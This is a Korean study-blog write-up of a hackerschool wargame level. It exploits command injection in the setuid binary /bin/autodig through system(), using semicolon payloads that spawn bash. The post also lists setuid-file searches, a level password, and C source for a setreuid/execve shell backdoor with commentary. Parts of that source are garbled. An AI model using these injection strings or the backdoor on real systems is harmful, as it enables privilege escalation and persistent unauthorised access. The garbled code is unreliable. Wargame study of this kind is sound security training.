본문 바로가기
보안과정/리버싱

Level 3 → Level 4

by Luuii 2017. 11. 28.

www.hackerschool.org 를 이용해 공부한다.


목적 : system() 함수의 취약점


level3 사용자로 로그인

ID : level3

Pass : can you fly?


$ ls -l

$ cat hint


- 동시에 여러 명령어를 사용하려면 ? - 세미콜론

- 문자열 형태로 명령어를 전달하려면? - 작은따옴표나 큰따옴표로 묶으면 된다.


소스코드를 통해 알 수 있는 내용

Ex) dig @ 168.126.63.1 version.bind chaos txt


[참고][클릭] dig/host/nslookup 명령어 사용법


$ find / -name autodig 2>/dev/null

$ ls -l /bin/autodig

# find / -user level4 -perm -4000 2>/dev/null


$ /bin/autodig 168.126.63.1


---------- /bin/autodig ----------

strcpy(cmd, "dig@");

strcat(cmd,argv[1]);

strcat(cmd," version.bind chaos txt");

system(cmd);

---------- /bin/autodig ----------

# /bin/autodig 168.126.63.1

# dig @ 168.126.63.1 version.bind chaos txt


$ dig @168.126.63.1 version.bind chaos

상동


$ /bin/autodig "168.126.63.1 www.naver.com; id;"


$ /bin/autodig "168.126.63.1 www.naver.com; bash;"


중략

$ my-pass


★ 백도어 생성(반드시 암기)

$ vi /tmp/backdoor.c

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
 
int main()
{
    char *cmd[2];                    // 2칸 짜리 배열을 만들었다. char형태의 포인터.
    cmd[0= "/bin/bash";            // 0번에는 /bin/bash를 집어넣고
    cmd[1= (void *)0;                // 1번에는 이걸 넣는데 포인터를 초기화 할때 사용한다.
                                    // 이것을 집어 넣고 NULL처리 한것이다. 배열은 NULL처리 될 때 까지만 읽기 때문에.
 
    setreuid(3004,3004);
    execve(cmd[0], cmd, cmd[1]); /* int  execve  (const  char  *filename, char *const argv [], char *const envp[]); */
cs



execve

왜 cmd[0]을 썼나

> 어딘가에 뭔가 내용이 들어가고 또 내용이 들어갈텐데 여기에는 결국엔 캐릭터가 들어간다.


> cmd 0번과 cmd 1번이 있다.

> 각각 주소가 들어가는데 캐릭터가 들어가는 그 위치를 가리키고 있다.

> 주소 부분에 /bin/bash를 넣고

> 1번에는 0이라고 NULL 처리를 해 놨다.


인자

> 첫번째는 실행하려고 하는 프로그램의 주소를 써야한다.

> 두번째는 argv라는게 원래 포인터인데 이중포인터가 되는거다. 포인터의 포인터

> cmd라고 쓴 이유는 cmd 0번의 주소.

>> cmd = &cmd[0]

>> 내가 cmd[0]을 가리키면 /bin/bash를 가리키는 거다.

> 세 번째는 이중 포인터, 환경변수는 없다. 순수하게 프로그램만 실행하겠다.

결론은 /bin/bash를 실행하겠다.


system("/bin/bash")는 환경변수를 못 준다.

그러나 execve는 환경변수도 줄 수 있다.



반응형

'보안과정 > 리버싱' 카테고리의 다른 글

Level 5 → Level 6  (0) 2017.11.29
Level 4 → Level 5  (0) 2017.11.28
Level 2 → Level 3  (0) 2017.11.28
Level1 문제 도전.  (0) 2017.11.27
백도어(Backdoor)  (0) 2017.11.27